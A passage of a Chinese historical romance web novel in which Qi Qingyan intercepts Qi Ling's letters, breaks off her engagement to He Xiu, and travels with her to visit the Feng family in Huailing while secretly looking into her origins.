忽闻沁鼻花香,红艳的梅花撞入她眼中,一朵接着一朵缀在枝头。梅花沾雪,艳色染白,另一种好看。 何岫捧着三枝梅花,递到她面前,“不光恐吃食渐凉,云濡也恐花不复晨问娇艳,特来送于娘子。” 祁泠沉默接在手中。 余光中沉弦已经溜走,上去通风报信于祁清宴。想起祁清宴的话,她狠下心,“何郎君,我——” “郎君!郎君——”何家的小厮慌慌张张,几乎是踉跄着跑过到何岫面前,“郎君,夫人喊郎君快些去一趟。” 何岫蹙眉,小厮上气不接下气,转身才有功夫向祁泠行礼,但心不在焉,竟又与何岫道:“郎君尽快吧,夫人在等。” 何母不是不知轻重缓急的人,何岫知道是有了大事,一时心有不好预感,勉强撑着与祁泠告辞,大步去寻母亲。 祁泠也疑惑,但只能等着何岫告知。她同银盘道,“走吧,我们也回去。” 屋内毕竟还有祁清宴,她的屋子离何母的屋子近,她还是担忧祁清宴被人看见。 银盘在外面守着,防着人来,祁泠独自进了内里。 沉弦在里面,见到祁泠进来又小声喊了娘子。 昨日祁清宴还有些憔悴,毕竟赶了整整两日的路,现下又恢复几分往日的风采。换了月白长衫,沐浴过,束起发,坐在她从前写信的桌旁。 桌上置一包裹。 祁泠手中拿着三枝梅花,祁清宴视线落在开得正艳的梅花上,语气淡淡,道:“梅花在这时节随处可见,何必拿在手中?” 她不理会,将花枝放在桌上,看着那包裹,猜测问道:“那是我的信?” “你可以打开看,我们之问百无禁忌。”祁清宴颔首后道。 祁泠上前拆开,见到内里满满书信,她送回祁家的全部在内,还有何母送于冯夫人的信也在这里。 怪不得,怪不得建业迟迟没有信送来! 原来,他早便全都拦下。 可惜她苦苦等了几日,盼了几日。 “你不必这般看我,”祁清宴面无表情拿起梅花枝,毫无留恋扔出窗外,随后望她正色道:“我不拦下,这桩婚事只会更难收场。阿泠,做事前要思虑周全,只靠书信谈婚事,其中波折太多,注定难成。” 祁泠咬着牙,别过头,理都不理他。 而他抬眼,追问:“同何岫说清了?我不喜他缠着你。” “没说上,他被何夫人叫回去了。” 祁清宴一手置在桌上,修长的手随意落着,食指轻轻点桌面,闻言动作一停,玩味道:“那阿泠轻松些,正好不用说了。” 什么? 祁泠不懂他在说些什么,柳眉一蹙,正要细问一番,门口传来银盘紧张如做贼的声音,“娘子不好了!何郎君来了。” 祁泠转身出去了,只留祁清宴盯着她的背影,直到门关上。 何岫又一改寻常模样,脸色紧绷着,满是心事,随着祁泠走到院中。 四周都是人,何岫顾不了太多,艰难开道:“三娘子,我们的婚事,云濡有错,不能成了。” “我父亲前些时日先回了宣城。我母亲才收到信,父亲他……”何岫说不出来,婚事失而复得,又得而复失,比一开始干脆不行更让人胸中沉郁。 “他在宣城替我选了一桩婚事,两家昨日下定,等我回到宣城,就要行婚仪了。” 若是能选,他自然想与祁泠成婚,可那家也是宣城有头有脸的人家,若是毁了婚,何家此后难在宣城立足。 而且,同祁家的婚事没有回信,周遭落雪。何母这几日心提着,只觉不吉利,又信起了最开始批语。 若是何岫早些同她说,祁泠或许会以为是真的不凑巧,但祁清宴方才同她所言…… 昨日下定,这么匆忙,与她想与何家定亲的念头一般急切。 若说里面没有祁清宴的手笔,祁泠打死都不相信。 “何郎君,许久未见,别来无恙。” 身披鹤氅,着云锦靴的郎君从屋中走来,面色怡然带一丝浅笑,风华无双。 与不如意,神色颓唐的何岫比起来,样貌气度皆更胜一筹。 何岫愣着行一礼,眼睁睁看着祁清宴走到祁泠身旁,而祁泠略微垂眼,心里已经将祁清宴反复骂上几遍。 祁清宴笑道:“我正巧在附近,听闻两家婚事,特意前来看看。昨晚方到此处。”算是给两人一个解释。 提起婚事,何岫便满心羞愧,将方才同祁泠说的话,差不多又与祁清宴说了一通。 祁清宴脸色未变,只叹了一声,“到底是有缘无分。放心虽是何家过错,但我们祁家通情达理,不会追究。” 闻言,祁泠心里冷笑,面上不语。何岫想要同她再说几句话,可祁清宴就在一旁,许多话都说不出来,只能走了。 “是你?”祁泠心平静气地问。 可在见到祁清宴毫无犹豫的颔首时,还是没忍住怒视他一眼。 随后她回房,祁清宴跟上。 何家人正午前便离开了,连午膳都没来得及用。何母亲自来同祁泠道歉,祁泠受不得,因着背后全是祁清宴的手笔,连带着她也有歉意。 何母又觉得祁泠性子好了,一时叹了几口气。 一大群人浩浩荡荡走了。晚问祁清宴又是一阵痴缠,只是亲吻就让祁泠受不了了,她道:“明日我要去淮陵。” “阿泠。这回虽然没成……” 祁清宴亲了亲她浸满薄汗的额问,“但你一次比一次聪明了。保不齐下回能想出更周全的法子,避开我的耳目……我不敢让你独行了。” “那我不去好了。” 反正去淮陵,还是被他看着,和在建业没什么区别,祁泠道:“你既不放心,我回建业去。” 反正他还要几个月才能回去,她留在府内也清净,祁泠放松想着。 “不,明日去淮陵。我们两人一起去。”祁清宴道。 不是说,他不放心留她自己在淮陵? 看出祁泠疑惑,祁清宴道:“我们先去淮陵。之后,你与我一同去临川罢。” 祁泠大惊,坐起身来,满心诧异。 第45章 第四十五章【VIP】 “你有正事要做,去那么远的临川,路途耗费几月,带我作甚。而且,你与我一同回建业,岂不是惹人怀疑?我不去。”祁泠果断拒绝道。 祁清宴也不着急,猜到她听到会不愿,先解决她的顾虑,道:“不同家中说。他们以为你一直在淮陵,届时先送你回府,无人会知晓你去了何处。再者,你未去过临川,一路上会见到许多稀奇,是久居建业见不到的。” 祁泠启了启唇,想说什么又没说。 女子囚于家宅,她确实鲜少出门去,嫁人无论嫁于何人,都会同冯夫人那般久居内宅,连外门都少去。 身份高如大夫人,也不出远门。祁家唯一例外的就是祁观岚了,可她做不了姑母。 心里是有些许想出门的。 但随即,又将祁清宴的算盘看清。她提出的要求是在建业,两人不得在府中相会,她也不会再去琅玕院,恐怕难能见面。 怪不得他答应得如此快,怕不是那时已在心中盘算起来? “府上的事你不必忧心,”看出她已有几分意动,祁清宴频频善诱,“我留在建业的人,会吩咐他们看顾冯夫人。” 府中有青娥在,冯夫人绝不会受欺负的。“何时能回来?”祁泠也想去淮陵替冯夫人看看亲人,松了口。 祁清宴笑,“在临川不久留,约莫着年节后便能往回走。” 祁泠点了点头,暂且答应下来。 她想到,两人之间,她一直在拒绝,完全没用,他反倒越发起劲。 目前看来躲他是躲不过去,不如随着他同行一段,最好让他早日烦腻,回到建业断了关系,不是时机正好? 无论她怎么想的,能答应便好,祁清宴将人揽进怀中,又是相拥而眠。 祁泠翌日起得仍晚,被人抱着睡,对她来说是难以适应的事。 在她的认知中,即使成亲,夫君也不会每日都在身侧,她还是自己住的时候多。不知祁清宴为何如此执着一起睡。 还没意识到他温水煮青蛙的算盘。 已然日上三竿。 祁泠醒时只有坐在榻旁打着盹儿,等她醒来的银盘。 “娘子,我们还去夫人的娘家吗?”小侍女苦着脸问,对自家娘子还有自己的前途实在忧虑。 祁泠点头,吩咐着银盘从两人带来的衣箱中翻找,内里有一件孔雀蓝的齐腰襦裙,很是好看华丽,也是冯夫人为她备着的。 她打算穿这个去冯家。 答应祁清宴的原因之一,她想去冯家,替冯夫人看看亲人们,来日回到建业时,能讲给冯夫人听。 官驿中又来了一批人,皆是祁府侍从,跟在祁清宴后面来的。 而他早早起身,没了踪影。 祁泠独自用了早膳,热乎的粥,和她在府中吃到的相似,猜着是不是祁府的厨娘也来了。 早膳过后,一行人浩浩荡荡离了官驿。 冯夫人准备的马车中,内里多了祁清宴,银盘被挤到后面与仆妇同坐。 祁泠坐在在旁侧,因着计谋没能得逞而面色平淡。她要和他分开坐,不愿随他去他派人带来的马车,即使瞧着比这辆大些。 未曾想他也跟了过来。 “阿泠,可以睡一会儿,省去路途难熬,离淮陵不远,晚膳前便能到了。” “我不困。”祁泠这般说完,祁清宴也随她去,小案桌上有沉弦方才送来的信,上面皆有印章。 祁清宴一封封拆开,细细看过,又提笔写着回信。 他说两人百无禁忌,但祁泠有意不看,扭头靠在车壁上,闭目眼神。 再如何好走的路,坐在马车上也难免回觉得颠簸,祁泠闭着眼,功夫久了,没了话多的银盘提神,她也迷糊着眯着了。 祁清宴不再揽袖,放下写了一半的信,将笔墨放好,拿起帕子用水沾,仔细拭了手。 随后,他稍起身,将祁泠揽了过来,让她睡得更舒服些。 她昨晚未睡好,此刻睡得沉沉且香甜,睡梦中察觉没了支撑她靠着的东西,眼皮一跳,即将要醒。 旋即头枕在软些的地方,总比硬邦邦的墙壁舒服的多,她一声嘤咛,也便含糊着睡去。 祁清宴拖着她脑后的手,慢慢拿走。 低垂着头,认真看她,直到她睡得极熟,发出几声听不清的呓语。 熟悉的枕膝之态,上次他颇为难受抗拒,这回便觉出好来。 心里妥帖,轻轻俯身,,惹得*她蹙眉。 ,由着她安稳睡去。 ,回着书信。 祁泠醒来时,前,祁清宴吩咐着在此落脚,将东西全放在此处。 祁泠入内重新梳洗一番,银盘给她梳了留仙髻,簪点翠簪子,施了些粉,再搭雪白狐裘。 本便好颜色,稍做修饰更惹人瞩目。 只是从客栈堂中走过,就引了不少人的视线。 “走吧,妹妹。”等了许久的祁清宴牙根发酸,站在祁泠身后,挡住众人视线,带着她尽快坐上去冯府的马车。 祁泠不觉异常,问他:“在淮陵呆几日?” 祁清宴答道:“随你,不能超越十日。”今日收到燕徊粱的信,他言朴老已赶过去,他觉得自己大好了。 这话只能折半听,有些好转便是了。 十日,也很久了。 祁泠点头,不同他多说话。 从客栈出发前,祁清宴派人去冯府报了信。 故而等到五辆车马慢悠悠到了冯府门前时,冯家主子除了老太爷,余下的主子皆候在正门前。 祁清宴先下去,转而向祁泠伸出手,笑得温和。祁泠余光瞥见瞧着这边的冯家人们,她都不认识。 伸手过去,由着他扶下马车。 年岁约莫与祁观复差不多大,身形却宽壮实的中年男子上前,拱手道:“未曾想劳烦贤侄来送一趟,一路辛苦,府内备了酒菜,快些进府坐坐。” 与冯夫人相似的眉眼上挂着笑。冯家倚靠祁家,在冯家出一个能耐的小辈前,未免要借着这桩姻亲一直依附下去。 对着不多日便是祁家的家主的小辈,冯柞云态度不免热情过甚,带着些许谄媚。 语落下,冯柞云一眼看到祁清宴后面的貌美娘子,他曾见过团子模样的祁泠,若是长大,也该是这般好看。 “这便是阿泠吧,模样变化虽大,舅父还是一眼认出你了。”他笑着说,短短几句,便能看出态度亲近,宛如见到真正的外甥女。 想到这是冯夫人嫡亲的兄长,祁泠上前,十分恭敬且标准地行了礼,“阿泠给舅父请安。” 冯柞云抬手,顾着礼节,虚虚扶起她。 祁清宴原本讨厌见到那样的目光。 有所求。 想要从他身上得到什么。 但是,冯柞云看祁泠只有长辈的关切。即使知道这不是姐姐亲生的孩子,但由姐姐一手养大,他也有爱屋及乌的真切关心。 祁清宴的态度便也缓和,“劳烦舅父准备周全了。” 冯柞云惊奇,他唤作贤侄是故意攀亲戚,未曾想还能得一句舅父。祁清宴嫡亲的舅父是朝中二品重臣,慕容家的家主。 他顿时擦了把汗,笑着把两人带进膳厅中。 冯家如今人不多,年过古稀的老太爷身子不大硬朗了,没出来。冯夫人的两位亲妹妹早嫁了出去,也不在家中。 冯柞云的妻子许氏,坐在夫君身侧,也是个圆润之人,拉祁泠坐在一旁,夸来夸去,态度热络。 许氏长女已经出嫁,长子冯珺携妻和幼子坐在一处,性子闷,不常开口,偶尔能同祁清宴说上几句话。 小女冯妆待字闺中,比祁泠小了两岁,饭只吃了两口,便睁着一双猫儿眼,好奇地瞧着从建业来的表哥表姐。 待饭毕,冯柞云带着两人去探望冯府的老太爷。 让客人亲自去不大好,但也无法,他只能解释:“父亲去岁病了一场,之后不能起身,劳烦贤侄与阿泠同我去一趟。” 屋内弥漫着的苦涩的药味,擦洗再勤,屋内也有几丝腐臭,三人进屋皆发觉,可都面不改色地走到近处。 冯柞云掀帘,弯腰对内里声音颇大:“父亲,栖梧的长女和祁府大房的三郎君来看你了。” 他喊了几遍,内里老太爷才睁开浑浊的双眼,被儿子扶着坐起身,缓缓转头望向屋中。 祁泠与祁清宴一起请了安。 老太爷视线只从祁泠身上扫过,对女儿的养女并不关心,反倒落在祁清宴身上许久,声音如同划拉腐朽的木头,有些刺耳,“祁家大房的孩子,我想同你说说话。” 冯柞云带着歉意地看向祁泠,他父亲便是这样迂腐性子,祁泠不算特别在意,行了礼,与冯柞云一同出了门。 祁清宴能来此一是陪着祁泠,二是看一眼前朝将作监的人。冯老太爷有真才实干,被委以重任修缮宫殿,却有贪银之嫌,官职一贬再贬,冯家不光没落下去,更险些抄家灭族。 冯夫人也是在那时,嫁进祁家。 此刻他耐着性子留着,等着冯老太爷说话。 冯老太爷缓缓问:“栖梧如何?” 祁清宴态度冷淡,“真关心女儿,应当问阿泠,她一直侍奉在你女儿身侧。”被冯夫人的家人好好相待,祁泠便会高兴。 现下,出门后怕是又要伤心了。 内里发出一阵沉沉咳嗽声,听起来便知时日无多,祁清宴不再多言。 “我这里有些……昔日建造宫殿时留下的残卷,若有用处……你拿走罢。” 说了几句话,便够他缓上一大阵子。 “你要什么?”祁清宴问,除了祁泠,再无人会对他别无所求。 冯老太爷先是笑,随后自言自语,“栖梧,其余儿女都有好归宿……我最放心不下栖梧。不该只顾自己活命……嫁了她去,祁家因我,不看重她罢……” “她少时同苏家女娘玩得最好,时时在一处,还约着嫁到一家做妯娌去,后来……两人都命不好……栖梧……是我害了栖梧。” 苏家? 那边的冯老太爷还在絮絮叨叨,可神志不再清醒,说得颠三倒四了。 祁清宴却抓住一点,细问:“苏家女娘是谁?淮陵里,曾有姓苏的人家吗?” 他曾派人来查,却从未听过淮陵还有苏家。 冯老太爷不再清醒,怎么也问不出来。 …… 待他出门去,冯柞云对两人道:“贤侄和阿泠留下小住如何?妆儿院中有一空闲厢房,阿泠去住。贤侄与我那不成器的儿子临院。” 祁泠与冯柞云已熟悉起来,闻言立刻干脆答应道:“多谢舅父,那阿泠便留下叨扰几日。” 冯柞云说着哪里哪里,心中却知道了,祁家三娘子虽不是亲生,但也得器重,否则怎会三郎还未说话,她便答了。 他转头望向祁清宴,“三郎不如也留下?” 祁泠要留在这里,祁清宴怎会自己回客栈?此刻温和颔首应下,内心怎么想的却无人知晓了。 第46章 第四十六章【VIP】 冯府的下人在前引路。祁清宴仍在与冯朴云闲谈,让她先回去。 祁泠便随着下人走,从老爷子住的院落再往南走,下人指了指,道那边是府上郎君的院子,白墙灰瓦,宽阔亮堂,前有奴仆洒扫。 等过了冯朴云携夫人所居的正院,里面一个小的院落,石砖生着苔藓,围了一圈,再往后便是府园。 下人道:“表娘子,二娘子的院子在此。” 说话间,冯妆院中正在扫地的小丫鬟见到祁泠,回屋报信于自家娘子。 用过饭便回房的冯妆迎出来,她一身粉蓝襦裙,上搭半身长的毛绒袄子,显得格外乖巧。 冯家的娘子面相皆温婉,起码祁泠见到的冯夫人和冯妆皆是如此。 冯妆怯生生地走过来,步伐虽慢却没有迟疑,一眼不错地看着祁泠。祁泠笑起来,唤了声表妹。 她便少了几分陌生意,试探地,脆生生地开口:“表姐,你还记得我吗?” 祁泠迟疑些许,她曾经来到冯家时还不大,而且当时冯府内有许多孩子,冯夫人的妹妹们把自家的孩子都带来了。 可看着冯妆,当时大家皆在放风筝,她与银盘同放一个……似乎有个小妹妹,一直躲在远些的石头后面,瞧着大家,却不过来一起玩。 她想着也便问了出来,冯妆听此长舒一口气,笑起来脸颊边两个浅浅的梨涡,“我也记得表姐呢。” 祁泠看得清楚,从这句话开始,冯妆明显同她亲近起来。 冯妆便挽着她的胳膊,带她往院里走,“姐姐出嫁前的屋子空着,我带表姐去。” 祁泠想起冯夫人,走到院中问:“母亲出嫁前也住在这里吗?” 这个冯妆倒是不知了,她只小时见到过姑母一面,对祁泠还有冯夫人只剩个模糊的印象。 唤婆子来问,婆子点了头,“大娘子出嫁的屋子,也是大姑奶奶曾经住的屋子。” 祁泠点头,进了内里,屋子不大,没有她在辛夷阁的居所大,摆件都是半旧的,修补过后再用的,布置却温馨雅致。 祁泠倚在榻上休息片刻,银盘来了,随之而来的还有跟在银盘后面的沉弦。 可见,若依祁清宴的打算,不会住在冯家,索性将银盘他们都留在了客栈,没想到祁泠嘴快应了。 “你去找三郎君,不要跟着我了。”银盘瞪一眼沉弦,随后自已扭头噔噔噔跑进屋,陪着祁泠在冯家住下。 住在冯家,祁清宴同祁泠几日没见。 冯家众人只有在用晚膳时才会聚到一处去,白日由厨房送到各院。 可晚膳祁清宴也不在,祁泠听一耳朵冯朴云道,祁清宴只住了一晚便出门了。 她只惊讶一下,猜他又有事要做,也不在意,他不在冯府也好。 祁泠住在冯妆院中,早膳午膳晚膳两人都坐在一处吃,本都是好性子的娘子,相处久了也熟起来。 一晃过了五日,冯妆与祁泠一同去用晚膳,发觉祁清宴也在,冯朴云又设宴款待于他。 祁清宴说即日便要走,得几句挽留也只婉拒道他有事在身。 待出了门,祁清宴今日要住在冯府,与祁泠顺路,也能同行一段路。 祁泠捏着裙摆不说话,祁清宴主动开口道:“我在淮陵盘下宅院,可要留在那边,歇上两日再走?” “不必。”祁泠摇摇头道,“早些去忙你的事吧,我想回建业了。” 是想回建业,还是想回到家中继续躲他。 祁清宴心知肚明。 “泠姐姐——” 冯妆从膳厅之中跑来,追上两人,眼巴巴瞅着祁泠,磕磕绊绊地问:“泠姐姐,我,我可以随你一同回建业吗?我想去看姑母。” 祁泠一愣,“舅父舅母那里……” 她这几日看在眼中,冯家虽对女儿不差,衣食无忧,可吃穿用度会比儿子差一点,也总被忽视。 “父亲和母亲……自然会答应的,”冯妆最后一句话说得极小声,“他们早就想让我去建业投奔姑母……” 冯朴云夫妇存着让冯妆在建业寻亲事的心,祁泠听后心里生出一点微妙的感觉。 冯家众人似乎因着冯夫人过得不好而愧疚。愧疚之下,又心安理得地享受着祁家带来的庇佑。 如今也要将小女儿嫁到建业去。 祁泠才明白为何冯夫人提起冯家会是那般疏离语气,感情不深,冯妆恐怕也是如此,不如先去建业。 她道:“好啊,母亲见到你会很高兴。” 冯妆一呆,随即面上满是欣喜,“真的吗?泠姐姐,我总 祁泠温柔摇头,说不会的。 眼见着,两人再说下去就要一同回建业了。祁清宴看祁泠许久,也没得她一个眼神,唤一声冯家表妹。 祁泠和冯妆都看过来。 他笑,会在淮陵城中宅子住上一阵,等你泠姐姐回建业时, 祁泠抿抿唇,不言语。 “那太好了,”冯妆转头问祁泠,“泠姐姐, 要是真的住在淮陵,祁泠此时便会道当然可以。可祁清宴摆明了要带她走,遂有一瞬迟疑。 冯妆自然高兴,次日一早陪冯朴云夫妇送两人出门。祁清宴打着的名头是送祁泠去宅子小住,两人正好一同走。 这回上了不同的马车,祁泠与银盘同坐,像从建业来时那般。 只是这回不用祁泠操心太多,只坐在马车中,等着歇脚便好了。 银盘在小柜子中翻翻找找,内里东西已被吃了大半,她凑了一匣子果干递到祁泠面前,“娘子,你……” 她说了几个字便又不说了,拿一把杏仁脯塞进嘴里,腮帮子鼓鼓的,嚼了嚼。 “怎么不说了?” 祁泠这么一问,银盘咽下酸杏,慢吞吞道:“娘子同三郎君是不是吵架了?走了半日都没来人。” 她还记得被三郎君从娘子马车上赶出去的敢怒不敢言,以为这回也会如此。 祁泠后知后觉回过味来,方才他表现得与她关系极好,是为了冯家不看低她。实际上,这两日确实对她疏离些,话都没说几句。 虽觉莫名,但如此甚好。 置气也随他去。 祁泠拿起个酸渍梅,放进嘴里,不在意地含糊道:“没事,不必管他。” 两人悠哉悠哉,堪比出游。 前面的马车气氛便压抑许多。 祁清宴这些时日在查苏家,最后竟一头雾水。 淮陵既然曾有苏家,总会有人知晓,可查探问过许多人都言不知。 冯老爷子说冯夫人与苏家娘子交好,可他在冯朴云面前提起苏家,冯朴云却说不知道。 又言是他父亲糊涂,曾经是有娘子同栖梧妹妹交好,不过都嫁在淮陵。 不姓苏,皆如同寻常妇人一般,嫁人生子,成了谁家的夫人。 冯老爷子和冯朴云定有一人说谎。 常理应当相信冯朴云。冯老爷子毕竟将行就木,甚至神志不清。 而且不光冯朴云他自已这般言说,淮陵众人,上至官员下至乞丐皆说没听过苏家。 可冯朴云听到苏家不是立刻否认,愣神几瞬,面色不大正常,勉强笑着地说不知道。 听祁清宴说是冯老爷子所言,他才解释是父亲糊涂胡编说出这样的话。 祁清宴不信他。 诧异的是竟查不出一点线索。 贡家兄弟的哥哥贡承上了马车。贡承递过去几封信件,皆是从淮陵周遭查探的,有关苏家的回答。 他亦道:“属下今日在城外一户人家听到些,老两口道城中确有苏家,但生内乱,最后一家皆死。” “因何内乱?” 贡承摇头,“无人知晓,只说苏家行事不同常人。而且苏家有女儿,都死在二十年前。” 诡异得紧。 淮陵人人守口如瓶,从城外查到的线索又断了。 祁清宴抬手按了按乏累的眉心,知晓此事怕是麻烦。 直接问冯夫人倒可能有结果。 但那无异于将事情彻底捅破在众人面前,他倒是可以,只是祁泠怕会恼怒。 他道:“去查。派人回建业。” “查十几年前,二夫人抱养祁泠的风月楼中,是否有家在淮陵的歌姬。” 第47章 第四十七章【VIP】 “我们走后,仍留些人在淮陵,继续暗查,多等些时日。这几日打草惊蛇了。”祁清宴顿了片刻,补充道。 “是。”贡承应下。 马车在淮陵速度不快,随着要出城的人潮一同慢悠悠朝城外去。走了约莫小半个时辰,拐入巷子,人声渐少,马车缓缓停下。 “娘子,快看!”一路上掀着帘子往外瞧的银盘忽而喊一声,声音难掩惊奇。 祁泠偏过头,往窗边倚了倚身子,亦随之望去。入目是一片青石为砖瓦的巷子,四通八达,往那边拐都有府邸。 马车停在其中一户挂着灯笼的宅院前。 最前面的马车,有侍女扶一位娘子下了马车,那娘子背影娉婷,鹅青色的衣裙同祁泠穿的相似,以长过肩头帷帽遮着,整张脸都露不出来。 后有十几名侍从跟着,祁泠仔细瞧过,大多是她从建业带出来二房的人。 银盘悄悄道:“娘子,方才那位女娘,从后面看身形同你有七八分像呢。” 祁泠点头,确实很像。 他想周全时,处处周全,必定让人挑不出一点错。 那在建业时,毫无遮掩,险些被许多人知晓两人的事,恐怕又是另一番心思了。 想清此事,她指节无意识收紧,视线从挂着灯笼的大门扫向前面的马车。 郎君亲自从马车上下来,站在府前,看着“假祁泠”走进府内。 随后,他又吩咐守在府前的护卫几声。离得远,看不清他的嘴型,祁泠只能见到,在他说完,守在府周围的人更多了些。 祁清宴转身,嘴角还噙着一点方才假意的弧度,眼神下意识望向某处。 那里马车帘子微掀,祁泠看着他的目光不辨情绪,与他视线相对,旋即低垂下眼,转头朝内侧,再瞧不见。 只剩她那个不甚聪明的侍女,探出个头,见到他,忙捂住嘴,慌里慌张放下帘子。 晚膳前,天尚未昏暗便到了客栈。祁清宴不知去了何处,沉弦跑前跑后,安排妥帖了房间。 他带祁泠同银盘到了里侧的上房。 银盘将要换洗的衣裳放在桌上,正给祁泠解着的披风带子,有人轻叩两声,随后推门进来。 是祁清宴,主仆两个都不说话。 只是他问:“今日应当喝药了,银盘,从建业带来的药还有吗?” 银盘看了眼不为所动的娘子,不知该怎么回答。 药是没了,但不是喝了,不知道丢到何处去了。第一次到喝药的日子,她提醒了娘子。可娘子不喝,让她端走,之后她再没提过这回事。 “我不想喝。”祁泠开口,“汤药太苦了,我不喜欢。再者,我身子尚可,没有病痛,不需要喝药。” 银盘将披风缠在胳膊上,垂着头当鹌鹑,总觉得三郎在家中不能忤逆。 但她们娘子不光不听话,还是这般不好的态度。 “银盘,先下去吧。” 得了三郎君的吩咐,银盘是定然要听的,只是怕两人吵起来。在府中还好,祁家还有旁的主子做主,可在外头,说了算的只有三郎君。 银盘轻轻阖门,故意将动作放得慢了些,听到内里从门缝中飘出三郎君的声,“你不愿便罢了。先不喝了。” “可你虽无病痛,却不比旁人康健,身子还是要补的,之后我给你寻些不苦的吃。” 而她家娘子淡淡的应了一声。 银盘在心中惊奇,原来私底下两人的相处竟然是这样的。她们娘子也不算受委屈了。 晚膳由客栈伙计送到楼上去,祁泠一路上吃了许多零嘴,也用不下去太多,沐浴过后穿得雪白中衣,严严实实到了床榻上。 “早些睡吧,晚间恐怕睡不好。”祁清宴将人揽进怀里,唇印在她额间。 余光发觉她今日小衣在后颈处打了两个结,寻常只系一个的。他不由埋在她肩窝处,嗅得满鼻馨香,沉沉笑了几声。 祁泠不知他在笑什么,但没有好事。不再同他多说,生怕又重复上次在官驿中痴缠,忙闭上眼睛装作睡着了。 这回睡得快了些。 再不容易适应的事,时日久了也会渐渐习惯了。 晚间,祁泠惊醒,原以为是没睡熟的梦魇,可听外间似有铁器碰撞的声音,顿时心惊肉跳,心跳声盖过外面的打斗声。 一只大手将她的脑袋按进怀里,衣衫的单薄遮不住骨肉的滚热,熟悉的香气安抚了她的惊慌。 他似乎被她动作吵醒,声音带着低哑,道:“无事,别害怕,山匪而已,一会儿便好了。” 青丝被拢在掌中,全身被紧紧揽住,沉重的压抑过后,涌上 她不动姿势,安静躺着,一耳朵声夹杂着山匪粗俗的斥骂。另的呼吸,靠在胸膛中,听他沉稳的心跳。 竟也不怕了。 也是睡不着的。 祁泠在心中约莫着时间,似乎过了一炷香,外,有沉弦看护着,应当也没事。 她闭上眼,沉沉睡了过去。 翌日客栈外面早已清扫干净,尸体被搬运走,一楼大堂零星的客人在说昨晚的事,嚣张的山匪一点没落到好,连客栈的门都没进来,都死在外面。 祁泠没见到,但,坐在堂中,一口饭也用不下去。 银盘一贯睡得沉,啥也不知道,一夜安眠。此时啃着一张胡饼,见祁泠难以下咽,还劝道:“娘子,要多用些吃食,我们今日还要赶路呢。” 但祁泠拿着胡饼,怎么也吃不下去。 早早起来不见人影的祁清宴,从门外走进,吩咐道:“今日在此歇上一日,晚间再出发。” 俨然预料之外,贡承稍微惊奇便领命下去吩咐。 “不想吃便别吃了,我带你出去一趟。”祁清宴又同祁泠道。 祁泠哪里有拒绝的余地。 如今的打算便是随他算了,被他拉上马,圈在怀中往城中去。 城中的茶肆人声鼎沸,祁清宴将马的缰绳递给伙计,由其牵到茶肆后面去。 他带着祁泠往茶肆中,两人样貌皆好,衣着打扮又是同样华丽。 一楼一群人挤挤压压,有板凳坐一坐,或是直接站着看。大多是寻常人家,只是偷偷瞄着,注意力从说书先生那处分出一点来。 等走到二楼,何处也不缺纨绔。 便有打扮过分夸张,锦袍金冠加身的郎君上前,目光在祁泠身上,却朝着祁清宴作揖,“兄台,是否愿赏脸同小弟一同听书?” “不必。”祁清宴冷道。 视线往后,见祁泠未带帷帽,头梳少女发髻,鬓如点漆,肤若凝脂。 瞧起来便是云英未嫁的娘子。 两人一起走当真容易被误认为兄妹。 祁清宴将祁泠护在后面,遮挡许多觊觎视线。 有他在,周身气度便知不是等闲人,不能强惹,有了碰壁的人,一时也无人再上前自讨没趣。 茶肆的伙计引着两人在内里坐下,有帘子与其他屋隔开,清静许多。 楼下说书先生一拍案,偌大的茶肆竟当真雅雀无声,彻底安静下来。 祁泠从未来过,一时甚是新奇,靠在栏杆处望着一楼,细细听着。 一群小到四五岁,大到十多岁的孩童或蹲或坐挤在说书先生的台下,捧着小脸也在听,神情同祁泠一般认真。 第一个故事,是寻常的才子佳人。 无外乎是落魄才子,偶与大户人家娘子相遇,娘子一见钟情,倾慕其才华,不顾家中反对与其私奔,受尽坎坷。 最后苦尽甘来,才子乍然富贵,不忘发妻,得了一段好姻缘。 落了俗套,可是祁泠没听到过,眼睛亮晶晶的,一直听着,连杯茶都没喝。 祁清宴俯身过去,贴着耳朵同她耐心道,“阿泠,莫信这些。世间男子负心薄幸甚多,这些故事都是他们编出来骗娘子的假话。” “才华、样貌都不重要,嫁人后,能拿在手中的掌家权才重要。” 他这话,一瞬把祁泠从故事中拉出来了。她望着祁清宴,觉得他也没差多少。 难道他便不会负心吗? 可那和她无关,目前她还盼着他早些变心。 但他说得也有道理。于是祁泠思索后点点头,语气颇乖,“我记得了,日后会注意的。” 语毕,便转过头,看着下面戏台,等着说书先生说下一场。 原是让她知道嫁人,不能光看样貌和才华。嫁与谁都不比留在祁府舒服。 可祁泠直接答应,根本没往这边想,噎得祁清宴也不知怎么回。 茶肆的伙计又送来新出锅的糕点和茶水,他递到祁泠面前,看着她用了几块,补上早膳。 台子上,说书先生正准备说下一场,一位伙计从侧面溜上台,对着说书先生耳语几番。 说书先生点头,下个故事不再讲喜闻乐见的才子佳人,讲起了认亲。 连着讲了两个故事。 胡氏和夫人行商,育有一子,两人被对家所害,临终前将幼子托付给友人。可友人路上不小心弄丢了孩子,幸好孩子被好心人捡到。 小胡长大后娶妻,得岳父帮扶良多,成了那一带最大的富商,活得自是顺畅得意。几年后偶然从养父母处知晓身世,几番查探,弄清身世,岳父正是当初害他父母之人。 难以接受,先为父母报仇,随后自刎而死。 二是一户官宦人家,好不容易得一子,全家欣喜万分。家中一奴仆怀怨,将自己孩子换过去,卖掉主人家的儿子。 幸而孩子得养父养母悉心照料,品行端正,后为入朝为官,功成名就后认亲归家,惩治恶奴,一家团圆。 说书先生将故事讲得跌宕起伏,台下之人全神贯注,听着善恶皆有报,不可行恶举。 祁泠却不如听才子佳人时认真,端着茶杯,一小口一小口喝着,明显的心不在焉。 祁清宴握住她的手,“你想寻亲么,阿泠。” 若是寻常人家,他索性替她认了。 但目前看起来,身世怕是不比第一个好。她本便心思细腻,怕她得知身世也是心中郁结。两人如今坦诚以对,索性先问过她的意思。 认亲。祁泠第一次听到这两字,也是第一次有人问她要不要认亲。 如故事那般,得知身世只有两种结果,一为苦痛,二为团圆阖家欢乐。 未寻到前,两种皆有可能。 “若弃我,不寻也罢。”祁泠缓缓道。 祁清宴道:“好。” 只要她父母不是故意弃她,他都会查清楚。之后再告诉她。 两人出门去,祁泠情绪低,被祁清宴牵着走。 她垂头走了几步,撞到他身上,停下。发觉祁清宴却迟迟未动脚步。 祁泠觉出怪异,抬头见他正望着一处,视线未动,长眉微蹙。 